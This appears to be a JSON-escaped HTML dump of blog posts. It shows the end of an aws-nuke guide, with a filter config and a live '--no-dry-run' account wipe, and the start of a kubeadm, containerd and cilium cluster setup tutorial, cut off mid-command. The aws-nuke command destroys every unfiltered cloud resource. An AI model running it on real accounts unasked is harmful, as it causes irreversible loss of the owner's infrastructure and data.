\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for real!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance. There is not a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of the information by going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-22T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"}]},"SRE":{"count":5,"posts":[{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI am going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines! I will be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm is a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis is not important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI am going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you do not have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs. Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we will be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e State\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IPv4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Image\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can start working on our controlplane first, let us shell in:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine. We are going to use containerd for this purpose. You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up. I am going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e* Applying /etc/sysctl.d/k8s.conf ...\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e lsmod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 28672\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 176128\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\nnet.ipv4.conf.all.rp_filter = 0\nnet.ipv4.conf.cilium_host.rp_filter = 0\nnet.ipv4.conf.cilium_net.rp_filter = 0\nnet.ipv4.conf.cilium_vxlan.rp_filter = 0\nnet.ipv4.conf.default.rp_filter = 0\nnet.ipv4.conf.enp0s1.rp_filter = 0\nnet.ipv4.conf.lo.rp_filter = 0\nnet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\nnet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow let us pull down the container runtime we will be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan 